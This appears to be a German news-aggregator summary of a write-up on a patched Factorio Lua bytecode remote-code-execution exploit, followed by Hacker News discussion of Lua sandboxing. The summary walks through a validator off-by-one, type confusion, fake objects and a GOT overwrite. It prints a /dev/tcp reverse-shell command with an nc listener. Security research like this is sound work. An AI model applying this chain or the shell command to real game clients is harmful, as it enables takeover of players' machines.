2 Punkte von GN⁺ 2024-06-30 | 1 Kommentare | Auf WhatsApp teilen
  • Eine Schwachstelle in Factorios Lua-Implementierung ermöglichte es einem bösartigen Server, beliebigen Code auf verbundenen Clients auszuführen; betroffen waren bereits gepatchte Versionen unter 1.1.101
  • Da der Mehrspielermodus in einem deterministischen Lockstep-Verfahren denselben Lua-Code ausführt, konnte ein Angreifer die Schwachstelle über eine bösartige Custom Map auf dem Netzwerkpfad auslösen
  • Im Zentrum des Problems standen die durch load/loadstring im Modul base erlaubte Bytecode-Ausführung sowie ein Off-By-One und fehlende Typprüfungen im Factorio-eigenen Validator
  • Der Exploit ließ über eine FORLOOP-Typverwechslung Adressen durchsickern und verwechselte anschließend durch Manipulation von Upvalue-Indizes LClosure und TString, um Fake Objects sowie primitives Lesen und Schreiben zu konstruieren
  • Die Linux-RCE ersetzte die ldexp-Adresse in der GOT durch system und missbrauchte einen Aufruf von math.ldexp; wegen Factorios Struktur-Offsets und Unterschieden im %a-Format waren zusätzliche Anpassungen nötig

Umfang der Schwachstelle und Lua-Expositionspfad

  • Eine Schwachstelle in Factorios Lua-Implementierung ermöglichte es einem bösartigen Server, beliebigen Code auf Clients auszuführen; betroffen waren Factorio-Versionen unter 1.1.101
  • Lua wird in Factorio für Spiellogik, Mods und Custom Maps verwendet
    • Mods sind im Spiel oder über Factorio Mods erhältlich
    • In der Modding-Community gibt es Tausende Mods, einige davon mit mehr als 500.000 Downloads
  • Auf den ersten Blick wirkt es wie ein lokaler Angriff, bei dem man eine bösartige Mod direkt installieren müsste; wegen der Synchronisationsmethode im Mehrspielermodus ist der Lua-Interpreter jedoch dem Netzwerkpfad ausgesetzt
  • Factorios Mehrspielermodus verwendet deterministischen Lockstep
    • Nicht der Spielzustand selbst, sondern nur die Eingaben der Nutzer werden über das Netzwerk übertragen
    • Das Spiel aller Spieler muss jeden Tick identisch simulieren
    • Wenn ein Spieler Lua-Code ausführt, müssen die übrigen Spieler zur Synchronisierung denselben Code ausführen
  • Es gibt zwei Wege, über die ein Angreifer Lua-Code ausführen lassen kann
    • Bei vorhandenen Berechtigungen Lua-Code auf dem Server per /c-Befehl ausführen
    • Eine Custom Map mit Lua-Code erstellen, die Clients beim Verbinden mit dem Server ausführen
  • Wenn ein bösartiger Server im Server-Browser sichtbar ist, kann ein Ablauf entstehen, bei dem Opfer die Map herunterladen und den Lua-Code ausführen

Gesamter Angriffsablauf

  • Der Angriff beginnt damit, dass ein Factorio-Server eine bösartige Map bereitstellt
    • Der Exploit ist im Szenario-Lua-Code der Map enthalten
    • Wenn ein Client dem Server beitritt, lädt er die Map herunter und führt den zugehörigen Lua-Code aus
  • Anschließend werden Schwächen der Lua-Implementierung genutzt, um ein Fake Object zu konstruieren
    • Fake Objects ermöglichen Speicherlecks und Speicherbeschädigung
    • Dadurch lassen sich mehrere Primitive erzeugen, die zur Codeausführung führen können
  • In dynamischen Sprachen sind Fake Objects ein zentrales Mittel, mit dem Angreifer starke Kontrolle erlangen
    • Strings können zum Leaken beliebiger Daten genutzt werden
    • Arrays oder Tabellen können zum Schreiben in beliebigen Speicher genutzt werden
    • Gibt es einen Pfad zum Aufruf nativer Funktionen, kann dies zur Kontrolle des Ausführungsflusses führen

Lua-Bytecode-Ausführung und Validator-Probleme

  • Die in Factorio enthaltenen Lua-Module sind eingeschränkt
    • debug: Zugriff auf Debug-Funktionen
    • math: Standard-C-Mathematik-Interface
    • bit32: Bitoperationen
    • string: String-Manipulation
    • table: Tabellen-Manipulation
    • base: Lua-Kernfunktionen wie print
  • Offensichtlich gefährliche Module wie os.execute fehlen, aber load und loadstring aus dem Modul base erlauben Bytecode-Ausführung und bieten damit eine große Angriffsfläche
  • Lua kompiliert Quellcode zunächst zu Lua-Bytecode und führt ihn dann im Interpreter aus
    • Bytecode ist kein CPU-Maschinencode, sondern eine Repräsentation, die nur der Lua-Interpreter ausführen kann
    • Wenn Bytecode direkt injiziert werden kann, lässt sich fehlerhafter Bytecode ausführen, den der normale Compiler nicht erzeugen würde
  • Die Lua-Entwickler kannten das Risiko beliebiger Bytecode-Ausführung und erstellten einen Validator, entfernten ihn jedoch in Lua 5.2
    • Auf der Lua-Mailingliste wurde festgehalten, dass der bestehende Validator wiederholt umgangen wurde und Anwendungen, die beliebigen Lua-Code ausführen, besser keine precompiled scripts akzeptieren sollten
  • Die Factorio-Entwickler scheinen in Lua 5.2.1 einen eigenen Bytecode-Validator implementiert zu haben
    • Die Schutzlogik konzentrierte sich darauf, klare OOB-Parameter wie Sprünge aus dem Code heraus oder Indizes außerhalb des Konstanten-Arrays zu verhindern
    • Wegen der Semantik einiger Opcodes gab es ein Off-By-One-Problem; bei der Verarbeitung von Sprung-Offsets wie JMP 0 konnte aus dem Codeblock heraus gesprungen werden
    • Da der Konstantenbereich hinter dem Code-Chunk alloziert werden kann, konnte ein Angreifer Bytecode in der Konstantensektion speichern und ihn per Off-by-One-Sprung unter Umgehung der Prüfung ausführen

Adressleck: FORLOOP-Typverwechslung

  • Interne Lua-Objekte werden als TValue dargestellt
    • TValue besteht aus dem Wertebereich Value und dem Typfeld tt_
    • Value ist ein 8-Byte-Bereich und wird je nach Typ als double oder als Pointer interpretiert
  • Zahlen in Lua 5.2 werden vollständig als double dargestellt
    • Zahlen können ohne Pointer-Indirektion inline in der Value-Union gespeichert werden
    • Wenn ein String-Pointer wie eine Zahl interpretiert wird, können die Pointer-Bits als double-Wert offengelegt werden
  • In normalem Lua kann print(function) eine Adresse ausgeben, in Factorio wurde dies jedoch entfernt; auch String-Adressen lassen sich nicht direkt leaken
  • Der Loop-Opcode FORLOOP muss normalerweise auf FORPREP folgen
    • FORPREP prüft, ob Startwert, Grenzwert und Step Zahlen sind
    • Innerhalb von FORLOOP wird der Typ des Step-Parameters nicht geprüft; lua_assert-basierte Checks werden in Standard-Builds nicht erzwungen
  • Ein Angreifer kann den Bytecode so manipulieren, dass FORPREP entfernt und nur FORLOOP ausgeführt wird
    • Dadurch wird per Bytecode eine Situation konstruiert, die der Compiler aus normalem Lua-Quellcode nicht erzeugen würde
    • Platziert man ein Objekt wie einen String an der Step-Position, wird der Pointer dieses TValue wie ein double interpretiert und geleakt
  • Der geleakte Wert ist kein normaler double, sondern die als double interpretierten Pointer-Bits und erscheint daher als kleiner Wert wie 2.1944577826691e-317
    • IEEE 754 binary64 besteht aus 1 Vorzeichenbit, 11 Exponentenbits und 52 Mantissenbits
    • Wenn ein Pointer-Wert wie ein denormalized double aussieht, lässt sich der ursprüngliche Wert aus der Mantisse rekonstruieren
  • Lua 5.2 hat kein pack/unpack und keinen Integer-Typ, was die Umwandlung erschwert
    • Zunächst wurden mit string.format("%.13a", double) Mantisse und Exponent gelesen, um den Pointer wiederherzustellen
    • Ein beispielhafter Leak wurde zum Pointer 0x43d6c0 rekonstruiert; die tatsächlichen String-Daten liegen 24 Byte hinter dem TString-Header

Upvalue-Manipulation und LClosure-Typverwechslung

  • Upvalues sind der Mechanismus, mit dem Lua auf Variablen außerhalb des aktuellen Funktions-Scopes zugreift
    • Die Upvalue-Informationen im Bytecode enthalten Index, Name, ob es sich um eine Stack-Position handelt, und den Stack-Index
    • Ein Angreifer kann die im Bytecode enthaltenen Upvalue-Indizes ändern
  • Ändert man einen Upvalue-Index, kann statt der ursprünglichen lokalen Variablen ein anderes TValue auf dem Stack referenziert werden
    • Im Beispiel wurde der target-Upvalue-Index um eins erhöht, sodass er auf die LClosure der aktuellen Funktion zeigte
    • Der manipulierte Bytecode gab statt nil LClosure: 0x... aus
  • In Lua ist die tatsächliche Ausführungseinheit einer Funktion in Prototype und Closure aufgeteilt
    • Proto dient als Funktions-Template mit Bytecode, Konstanten, Quellzeilen, Upvalue-Informationen usw.
    • LClosure wird zur Laufzeit erzeugt und verbindet Proto mit der Upvalue-Liste
  • Der Opcode CLOSURE erstellt eine neue Lua-Closure, legt sie auf den Stack und initialisiert die Upvalues
    • Bei drei lokalen Variablen kann die neue LClosure bei base + 3 liegen
    • Wenn der Upvalue-Index auf 3 geändert wird, lässt sich das LClosure-TValue an dieser Position greifen
  • Wenn eine innere Funktion die LClosure der äußeren Funktion mit einem String überschreibt, versucht Lua nach der Rückkehr, den String wie eine LClosure zu verwenden, und stürzt ab
    • Die Typprüfung im OP_RETURN-Pfad hängt von lua_assert ab und wird in der Standardkonfiguration nicht erzwungen
    • Dadurch kann cl des aktuellen Ausführungs-Frames nicht auf eine echte LClosure, sondern auf einen vom Angreifer kontrollierten TString zeigen
  • Durch die Layout-Unterschiede zwischen TString und LClosure überlappt der Nutzdatenbereich des Strings mit den Positionen von Proto *p und Upval **upval
    • Durch diese Typverwechslung lassen sich der Function-Prototype-Pointer und der Upvalue-Array-Pointer kontrollieren
    • Zeigen sie auf einen kontrollierbaren Speicherbereich, lassen sich Fake Objects erstellen

Fake Objects und Lese-/Schreibprimitive

  • Für die Erzeugung von Fake Objects gibt es zwei Hauptpfade
    • Einen Pfad, bei dem ein Fake-Proto auf ein Fake-TValue-Array zeigt
    • Einen Pfad, bei dem ein Fake-UpVal-Array auf ein Fake-TValue zeigt
  • Der Konstantenpfad wurde gewählt, weil er weniger Padding hat und Konstanten in einer Funktion erneut verwendet werden können
    • Fake-TString
    • Ein TValue-Array, das auf den Fake-TString zeigt
    • Ein Proto, das auf das Fake-TValue-Array zeigt
    • Eine LClosure, die auf das Fake-Proto zeigt
  • Ein Fake-TString kann als Leseprimitive verwendet werden, indem seine Länge beliebig groß gesetzt wird
    • Lua-String-Daten werden als hinter dem TString-Header liegend angenommen
    • Mit str:sub() kann Speicher gelesen werden, der in Reichweite des Fake-Strings liegt
    • Da Lua-String-Indizes bei 1 beginnen, ist bei der Header-Berechnung eine Korrektur um 1 Byte nötig
  • Die Schreibprimitive funktioniert, indem ein Fake-UpVal auf das TValue der Zieladresse zeigt
    • Weist man einer Lua-Variablen eine Zahl zu, wird an dieser Stelle ein Zahlen-TValue geschrieben
    • Da Zahlen in den ersten 8 Byte des TValue inline gespeichert werden, lässt sich der Wertebereich kontrollieren
    • Gleichzeitig werden in die nächsten 8 Byte Typinformationen geschrieben, wodurch auch umgebender Speicher beschädigt werden kann
  • Weil Lua-Zahlen doubles sind, ist eine Umwandlung nötig, um ein gewünschtes Integer-Bitmuster zu schreiben
    • Dafür wird die kleinste Einheit eines denormalized double, 2^-1074, genutzt
    • Ein Integer wird in die double-Repräsentation codiert als integer_to_double(integer) = integer * 2^-1074

Kontrolle des Instruktionszeigers und ASLR-Umgehung

  • Lua-Light C Function speichert den Funktionspointer inline in einem TValue
    • Der Funktionstyp ist LUA_TFUNCTION, und Light C Function wird durch den Wert 22 für LUA_TLCF dargestellt
    • Legt man 0xdeadbeef in den Wertebereich des TValue und 22 in den Typbereich, kann die Adresse wie eine Funktion aufgerufen werden
  • Der Aufruf einer Fake-Light C Function ermöglicht die Kontrolle des Instruction Pointer
    • Im Beispiel wird RIP zu 0xdeadbeef und es kommt zum Crash
    • Danach kann dies zu Techniken zur Änderung des Ausführungsflusses wie einer ROP chain führen
  • Dass Light C Function-Pointer inline gespeichert sind, ist auch für Adresslecks nützlich
    • Wenn Lua-Funktionen als light C functions implementiert sind, kann eine Adressleck-Primitive Funktionsadressen wie die von print lesen
    • Damit lässt sich eine Basisadresse berechnen, die zum Umgehen von ASLR nötig ist
  • Wenn sandboxed Functions weiterhin im Binary vorhanden sind, ist auch eine Umgehung möglich, bei der die Fake Function auf diese Adresse zeigt und sie aufruft

Anpassungen für Factorio

  • Die ersten Tests wurden mit dem offiziellen Lua-Interpreter durchgeführt, doch Factorios Lua-Implementierung hat ein anderes Struktur-Layout
  • Factorios GC-Objekt CommonHeader enthält zusätzlich einen previous-Pointer
    • Offizielles Lua hat die Struktur next, tt, marked
    • Factorio scheint die Struktur previous, next, tt, marked zu verwenden
  • Durch diesen Unterschied verschieben sich einige Offsets um jeweils 8 Byte
    • Der TString-Header ist nicht 24 Byte, sondern 32 Byte groß
    • Die Berechnung der Adresse des String-Inhalts und der relativen Adressen der Leseprimitive mussten korrigiert werden
    • Auch bei der Berechnung des Fake-UpVal und der Fake Closure musste der zusätzliche Pointer berücksichtigt werden
  • In Factorio verhielt sich auch das %a-Format anders als in den Tests mit dem offiziellen Lua
    • string.format("%.13a", 2.1038461432219e-316) lieferte nicht das erwartete 0x0.000000289c130p-1022, sondern eine Form wie 0xa.2704c00000000p-1052
    • Dadurch brach die double-Rekonstruktion auf Basis des String-Formats
  • Die endgültige Umwandlung wurde auf eine rein numerische Methode umgestellt
    • Denormalized-Werte kann man so betrachten, dass alle Integer beim niederwertigsten Bit rechts beginnen
    • Der geleakte Wert wird mit double_to_number(double) = double * 2^52 * 2^1022 rekonstruiert
    • 2^1074 lässt sich nicht als double darstellen, daher wird die Multiplikation in zwei Schritte aufgeteilt

Linux-RCE: GOT-Austausch und math.ldexp

  • Der unter Linux gewählte RCE-Pfad nutzt statt einer ROP chain einen GOT-Austausch
    • Es wird eine imported function gesucht, die aus Lua aufrufbar ist und deren erstes Argument kontrolliert werden kann
    • Der GOT-Eintrag dieser Funktion wird mit der Adresse von system überschrieben
    • Die Funktion wird aus Lua aufgerufen, sodass sie wie system(command) wirkt
  • Innerhalb der eingeschränkten Lua-Bibliotheken von Factorio eignete sich math.ldexp als Funktion
    • Intern ruft sie ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) auf
    • Eine GDB-Prüfung zeigte, dass das zweite Lua-Argument als erstes Registerargument RDI des libc-Aufrufs übergeben wurde
  • Die GOT liegt vor dem Heap und ist mit der bestehenden Leseprimitive über Fake-Strings schwer direkt zu lesen
    • Die Leseprimitive kann nur Adressen hinter dem Fake-String-Header lesen
    • Ein writable segment vor der GOT wurde genutzt, um vor der GOT einen Fake-TString zu konstruieren
  • Erstellt man vor der GOT einen Fake-TString, kann man libc-Funktionsadressen lesen und ASLR umgehen
    • Im Beispiel wurde die Adresse von memcpy aus der GOT gelesen
    • Mit den Offsets von libc 2.38 unter Fedora 39 wurde libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0 berechnet
  • Anschließend wurde der GOT-Eintrag von ldexp mit der Adresse von system überschrieben
    • In den Beispieladressen wurde 0x289ef00 als GOT-Eintrag von ldexp verwendet
    • Er wurde in der Form write(0x289ef00, system) überschrieben

Befehlsausführung und finale Remote-Shell

  • Zunächst sollte der Befehl in einem Lua-String gespeichert und per math.ldexp(0, addr_of(cmd) + 32) aufgerufen werden
    • Der Befehl hatte die Form sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • Weil Lua ldexp jedoch mit einem 32-Bit-Parameter aufrief, wurden die oberen Bits der String-Adresse abgeschnitten und der Versuch schlug fehl
  • Die Umgehung bestand darin, den Befehls-String direkt in das writable segment des Binaries zu schreiben, das zuvor zum Erstellen des Fake-Strings genutzt worden war
    • Da PIE nicht aktiviert war, war die Adresse des Haupt-Binaries klein genug
    • Der Befehls-String wurde mit mehreren write()-Aufrufen in die Nähe von Adresse 0x289c150 geschrieben
  • Der Aufruf math.ldexp(0, 0x289c150) verhält sich nach dem GOT-Austausch wie ein Aufruf von system(0x289c150)
  • Das finale Ergebnis wurde durch eine Shell bestätigt, die sich mit einem lokalen nc -lvp 9001-Listener verband
    • Der Shell-Prompt lautete sh-5.2$
    • Das Ergebnis von whoami war victim

Übungs-Challenge und Referenzen

1 Kommentare

 
GN⁺ 2024-06-30
Hacker-News-Kommentare
  • Unerwartet
    Ich hätte gedacht, dass Lua, da es Bytecode interpretiert, prüfen kann, ob Befehlsargumente sinnvoll sind. Zum Beispiel, ob sie auf von Lua allozierten Speicher zeigen.
    Tatsächlich war das aber nicht der Fall, und Bytecode mit ungültigen Argumenten wird einfach ausgeführt. Der weitere Kompromittierungsablauf ergibt sich dann daraus.
    Außerdem ist geplant, statt den Interpreter zu reparieren, den Bytecode statisch zu analysieren; das scheint nur in einfachen Fällen zu funktionieren.
    Für eine sandbox-freundliche Interpreter-Sprache ist das ziemlich enttäuschend, und ich frage mich, ob sie einen Patch akzeptieren würden, der den Interpreter so ändert, dass er Eingaben nicht vertraut. Sie scheinen Performance-Einbußen zu befürchten, aber wenn die schnelle Option LuaJIT ist, wirkt das fragwürdig.

    • Zu „ein Patch, der den Interpreter Eingaben nicht vertrauen lässt“: So wie ich die Haltung der Lua-Entwickler verstehe, sollten Prozesse, die beliebigen Lua-Code ausführen, nur Quellcode annehmen und das direkte Laden von Bytecode abschalten.
      Dieser Ansatz wirkt sinnvoll, weil er die Option lässt, vertrauenswürdigen Bytecode direkt zu laden, ohne dynamische Prüfungen in den Interpreter einzubauen, die alle Nutzer betreffen würden.
    • Lua ist entgegen einem verbreiteten Missverständnis tatsächlich nicht sandbox-freundlich.
      Lua bietet konstruktionsbedingt keine Terminierungsgarantie und auch keine gute Möglichkeit, nicht vertrauenswürdige Programme zwangsweise zu beenden. Wenn man nicht vertrauenswürdige Lua-Eingaben annimmt, muss man davon ausgehen, dass das Programm auf unbestimmte Zeit hängen bleiben kann.
      Lua eignet sich hervorragend für halbvertrauenswürdige Eingaben, die zumindest eine minimale Due Diligence durchlaufen haben, etwa aus dem Internet heruntergeladener Code. Selbst wenn der Code tatsächlich bösartig ist, lässt sich der Schaden stark begrenzen, aber nicht vollständig beseitigen.
      Wenn man vollständig nicht vertrauenswürdige Eingaben im JavaScript-Stil braucht, ist Luau, der Roblox-Fork, die richtige Wahl: https://luau-lang.org/sandbox
    • Ist es nicht schwer, das als sandbox-freundlich zu bezeichnen?
      Wie andere Sprachen gezeigt haben, ist es nicht trivial, einen sicheren Interpreter für Bytecode zu bauen. Es ist auch ein Kompromiss, um die Referenzimplementierung einfach zu halten.
      Beim Ausführen von Drittanbieter-Code würde ich den meisten dieser Interpreter nicht vertrauen. Wenn man bedenkt, wie viel F&E-Budget und Aufmerksamkeit Webbrowser bekommen, vertraue ich selbst Browsern nur gerade so.
    • Das war vorhersehbar. Man sollte nur Bytecode ausführen, der tatsächlich von einem korrekten Compiler erzeugt wurde. Andernfalls kommt es zu Verletzungen der Speichersicherheit oder Sandbox-Ausbrüchen, und auch Sandbox-Ausbrüche über Verletzungen der Speichersicherheit sind möglich.
      Das ist so, als würde man keinen beliebigen Maschinencode ausführen.
      Luau hat dieselbe Eigenschaft, aber Roblox leidet ja auch nicht ständig unter Sandbox-Ausbrüchen, oder?
    • Java, Wasm und BPF zeigen, dass statisch verifizierbarer Bytecode auch bei JIT-kompilierten Sprachen möglich ist. Das Problem bei Lua ist, dass der Bytecode nicht die Informationen bereitstellt, die nötig wären, um die Sicherheit vollständig zu verifizieren.
  • Ich wünschte, solche Dinge wären klarer definiert oder dokumentiert. Man ist in der Situation, selbst herausfinden zu müssen, welche Sprache vernünftigerweise als sicher garantiert werden kann.
    Zum Beispiel gibt es den Standardfall, dass statischer Code vom Nutzer selbst ausgeführt wird; das ist der Fall, um den sich normale Sprachen, einschließlich Lua, üblicherweise kümmern.
    Dann gibt es den Fall, dass Code im Rahmen eines Updates dynamisch empfangen und ausgeführt wird, aber nur über offizielle Kanäle. Hier kann man vielleicht davonkommen, wenn man den Prozess absichert, aber sicher ist das nicht.
    Es gibt auch den Fall, dass Nutzer Code als Plugin hinzufügen können und ihn mit einem Klick aus einem Store einfach installieren können. Plugins können zwar geprüft werden, aber das passiert fast nie ordentlich; daher muss man abwägen, ob eine Sandbox nötig ist oder ob Nutzer vorsichtig sein müssen.
    In Multiplayer-Spielen gibt es auch den Fall, dass nur der Server per Plugin erweitert wird, der Client aber nicht. Dabei muss man berücksichtigen, dass Gamer, die Server betreiben, aktiv viele verschiedene Plugins ausprobieren, und die Plugin-Community kann ebenfalls deutlich riskanter sein.
    Schließlich gibt es Multiplayer-Spiele wie Browser, bei denen der Server beliebigen Code auf dem Client ausführen kann. In diesem Fall muss man besonders mit der clientseitigen Sandbox sehr vorsichtig sein, weil Gamer beliebigen Servern beitreten, ohne über die Sicherheitsauswirkungen nachzudenken.
    Factorio ist genau dieser letzte Fall. Ich bin nicht unbedingt dagegen, dass Entwickler das bewerten müssen, aber zum Beispiel ist nicht immer offensichtlich, dass Luas Funktion load unsicheren beliebigen Bytecode ausführen kann.
    Ehrlich gesagt wusste ich nicht, dass Lua-Bytecode unsicher ist; ich wusste, dass LuaJIT-Bytecode unsicher ist. Diese Tatsache scheint aber nur verstreut in Mailinglisten oder GitHub-Issues als Selbstverständlichkeit erwähnt zu werden.
    Es gibt auch das Problem, dass ein Server den Client zum Stillstand bringen kann. Dafür reicht eine Endlosschleife. Das ist allerdings viel schwerer zu vermeiden, und vielleicht ist es sogar sinnlos, es vermeiden zu wollen.

    • Man sollte keine Methode, vom Angreifer kontrollierten Code auszuführen, als sicher annehmen. Schon gar nicht, wenn sie nicht ausdrücklich als sicher bezeichnet wird und Aufwand auf Google-Niveau betrieben wurde, um das zu unterstützen.
    • Mordhau, ein Spiel auf Basis der Unreal Engine, hatte eine Nachricht-des-Tages-Funktion, bei der ein Serverbetreiber eine URL eintragen konnte und beim Beitritt eines Spielers ein In-Game-Browser geöffnet wurde.
      Clientseitig gab es keine Option, den Browser abzuschalten, und soweit ich weiß, haben die Entwickler die Funktion schließlich vollständig deaktiviert; wie der aktuelle Stand ist, weiß ich aber nicht sicher.
      Das zeigt, wie komplex Spiele und Game Engines geworden sind. An Stellen, an denen es kaum einen offensichtlichen Grund dafür gibt, steckt ein eingebetteter Webbrowser.
    • Als Erstes sollte man prüfen, ob die jeweilige Lösung klar als gegen spekulative Ausführung sichere Sandbox bezeichnet wird. Das werden nicht viele tun, aber einige schon; von dort aus kann man dann weiter urteilen.
  • Hinter Factorio steht ein wirklich gutes Entwicklerteam, daher glaube ich, dass sie ihr Bestes tun, um solche Probleme zu beheben. Allerdings hat Spieleentwicklung insgesamt stark den Charakter kreativer Arbeit, sodass Dinge wie Code-Praktiken oder Sicherheit offenbar nach hinten rücken.
    Ich frage mich, wie viele Zero-Day-Schwachstellen in Spiele-Clients und -Servern verborgen sind.

    • Bei Spielen mit Remote-Interaktion gehe ich grundsätzlich davon aus, dass sie nicht vollkommen sicher sind. Es wäre gut, Steam und alle Spiele in irgendeiner Form in einer Sandbox auszuführen.
      Flatpak kann als Ausgangspunkt hilfreich sein. Container sind zwar keine starke Sicherheitsgrenze, können aber einfache Exploits abwehren.
    • Wahrscheinlich sieht es nicht besonders gut aus. Man muss nur darüber nachdenken, warum Konsolenhersteller wie Xbox, Sony und Nintendo keine Verbindungen zu beliebigen Server-IPs oder Mod-Support erlauben.
      Das ist nicht nur eine simple geschäftliche Entscheidung, um die Nutzung offizieller Online-Dienste zu erzwingen. Wenn man Verbindungen zu Server-IPs von Drittanbietern verhindert, können selbst schwerwiegende Bugs im Netzwerk-Code oder im Rest des Spiels niemals ausgenutzt werden. Wenn man Mods einschränkt, sogar „sichere“ Mods wie solche in Lua, lassen sich weitere Exploits verhindern.
      Fehlerhafter Netzwerk-Code hat historisch schon bei mehreren Konsolen das DRM zu Fall gebracht.
      Abgesehen von Exploits rühmen sich Konsolen auch damit, dass Code vor der Verteilung geprüft wird. Lua-Ausführung von entfernten Systemen zu erlauben bedeutet, dass ein Spiel auch nach der Freigabe durch den Entwickler selbst remote rekonfiguriert werden kann, und Konsolenhersteller wollen das ohne sehr genaue Prüfung nicht zulassen.
    • Deshalb ist es sinnvoll, einen separaten Computer fürs Gaming zu haben. Wichtige Dokumente oder Arbeitsunterlagen sollte man dort besser nie ablegen.
      Idealerweise isoliert man das Ganze in einer virtuellen Maschine, aber die Einrichtung einer Gaming-VM ist extrem umständlich und kann bei manchen Spielen mit Anti-Cheat zum Ausschluss führen.
    • Code-Praktiken? Factorio gehört zu der am besten programmierten, stabilsten und konsistentesten Software, die ich je gesehen habe.
      Wenn man bedenkt, wie dringend andere Bereiche Leute brauchen, die gut programmieren können, ist es fast schade, dass erfahrene Leute in der Spielebranche arbeiten.
  • Allgemein ist Programmverifikation extrem schwierig, nicht nur wegen des Satzes von Rice. Besonders bei einer nichttrivialen Bytecode-Sprache wie Lua entstehen sehr leicht blinde Flecken. Wasm hat zum Beispiel kein Konzept einer for-Schleife.
    Es ist merkwürdig, dass die Factorio-Entwickler versucht haben, den Verifier zu reparieren oder selbst zu schreiben, nachdem das Upstream-Projekt dieses Problem als zu schwierig aufgegeben hatte.
    Die Funktion loadstring von Minetest verbietet Bytecode vollständig: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Ich frage mich, warum Factorio-Mods die Fähigkeit brauchen, rohen Lua-Bytecode auszuführen. Wenn sie sie nicht brauchen, wäre auch kein Verifier nötig gewesen.
    Lua-Code auszuführen, der über das Netzwerk heruntergeladen wurde, ist von vornherein ziemlich riskant. JavaScript-Laufzeitumgebungen haben jahrzehntelang einen Zyklus aus Exploit-Funden und -Fixes durchlaufen. Bei Lua gibt es das auch, aber in kleinerem Maßstab und mit weniger Personal zur Verbesserung der Sicherheit.
    Die wichtigste Schutzmaßnahme könnte sein, dass es weniger Leute gibt, die bösartige Spieleserver betreiben.

    • Factorio hat als Reaktion auf dieses Problem das Laden von Bytecode deaktiviert. Bytecode ermöglichte coole Dinge, etwa Mods in einer Präprozessor-Sprache zu schreiben, die Lua-Bytecode ausgibt, aber am Ende waren die Sicherheitsprobleme wichtiger.
      Aus ähnlichen Sicherheitsgründen wurde auch fast die gesamte Debug-Bibliothek für Mods unzugänglich gemacht.
    • Am Ende lernen alle Spieleentwickler auf die harte Tour, dass sie die Bytecode-Funktionalität aus Luas loadstring()-Funktion entfernen müssen.
      Es gibt zum Beispiel einen Beitrag der ROBLOX-Entwickler von vor 12 Jahren: https://archive.is/oXPyM
      Ehrlich gesagt wäre es besser, das standardmäßig zu deaktivieren. Legitimen Bedarf gibt es nur in ziemlich speziellen Nischen.
    • Für Factorio gibt es auch so etwas: https://mods.factorio.com/mod/Moon_Logic
      Außerdem ist es ziemlich einschränkend, Software zu bauen, die man in einer Turing-vollständigen Umgebung nicht einfach ausführen kann.
      Jedenfalls braucht man wirklich einen Interpreter mit einem starken Berechtigungssystem.
    • Der Satz von Rice scheint hier nicht der Kernpunkt zu sein. Als erster Filter kann er nützlich sein. Wenn man glaubt, man könne das „einfach so“ exakt entscheiden, sollte man aufhören, denn Henry Rice hat vor einem halben Jahrhundert bewiesen, dass das unmöglich ist, und dafür seinen Doktortitel bekommen.
      Wenn man sich aber damit zufriedengibt, nur einen Teil der Eingaben zu akzeptieren, die die tatsächlichen Anforderungen erfüllen, ist der Satz von Rice erledigt. Dann bleibt statt einer unmöglichen Aufgabe nur noch eine extrem schwierige Aufgabe übrig.
      Selbst wenn man scheitert, kann es ein Trost sein, dass man sich zumindest nicht anhören muss, es sei unmöglich gewesen.
      Factorio hätte diesen Weg nicht einschlagen sollen.
    • Der Satz von Rice findet hier keine Anwendung. In der weiten Definition von „Syntax“, die der Satz von Rice verwendet, fallen die Dinge, die man im Bytecode verifizieren will, unter Syntax.
  • Eine totale Anfängerfrage, aber ich frage mich, warum Spiele Lua verwenden und nicht etwa eingebettetes JavaScript mit einer definierten Schnittstelle wie einer API zur Anpassung des Spielzustands.
    Man könnte von den viel stärkeren Härtungsmaßnahmen profitieren, die in die Isolierung der Browser-Umgebung geflossen sind. Browser sind schwierig, sehr gut getestet und ein Ziel, in das viel Geld fließt.
    Auch in Performance-Optimierungen für dynamische Typisierung ist enorm viel Arbeit geflossen.
    Und wenn Mods eine UI brauchen, gibt es Canvas; wenn man ein DOM-ähnliches Modell bereitstellt, wäre potenziell auch etwas wie React möglich.

    • Nach dem Stand von vor ein paar Jahren waren die meisten JavaScript-Engines veraltet und kaum gewartet, und die Engines, die in Browsern verwendet werden, sind browser first gebaut und nicht darauf ausgelegt, leicht integriert zu werden.
      Lua wurde speziell für die Integration entwickelt, daher gibt es viel Material dazu und eine große Community dahinter.
    • Die meisten JavaScript-Engines sind deutlich komplexer einzubetten als Lua. Lua gehört zu der Software, die sich am einfachsten kompilieren lässt, die mir einfällt.
      Außerdem verwechselst du gängige Browser-APIs mit JavaScript. Eine JavaScript-Engine stellt weder Canvas noch DOM bereit. V8 zum Beispiel tut das auch nicht; solche Dinge müsstest du selbst hinzufügen.
  • Ich bin zwar kein Security-Entwickler, aber ich möchte pflichtschuldig sagen: „Wow, das ist wirklich beeindruckend!“ Es ist kaum zu glauben, wie klar und logisch man denken muss, um einen so komplexen Fehlerfall nachzuverfolgen. Das ist definitiv nicht meine Stärke; ich bin viel eher der „Ideen-Mensch“
    Inhaltlich glaube ich, dass wir völlig erledigt sind, sobald eine Truppe von AI Software Engineers auftaucht, die mit 10.000 Blogposts über das Finden solcher seltsamen Memory-Exploits ausgestattet ist
    Am Ende brauchen wir meiner Ansicht nach ein völlig neues Paradigma für Sicherheit, oder zumindest ein neues Element im Stack. Das Gerede über moderne „vertrauenswürdige“ Clients oder DB-Rollen fühlt sich an, als würde man Löcher in Schweizer Käse flicken
    Hoffentlich können wir einfach eine weitere, von LLMs verwaltete Schicht Schweizer Käse oben drauflegen

    • Es gibt bereits Leute, die das tun. Die Ergebnisse sind bisher noch nicht vielversprechend
  • Also, zeigt das nicht einen Exploit, der auf Bytecode-Loading beruht, einer Funktion, die als missbrauchbar beworben wurde? Was übersehe ich?

    • Interessant war, wie sehr die Lua-Entwickler beim Bytecode-Verifier versagt haben. Es waren keine komplexen Probleme, sondern einfache Dinge wie ein Off-by-one-Fehler beim Modellieren grundlegender Instruktionen wie jmp oder das Problem, dass der Lua-Interpreter alles, was ihm in die Hände fällt, als Instruktion interpretieren will
      Er hat sogar versucht, Datenbereiche zu interpretieren, die der Verifier gar nicht anfasst
    • Selbst wenn es eine beworbene Funktion ist, kann sie Endnutzer schädigen, die nicht wissen, was Lua oder Bytecode ist
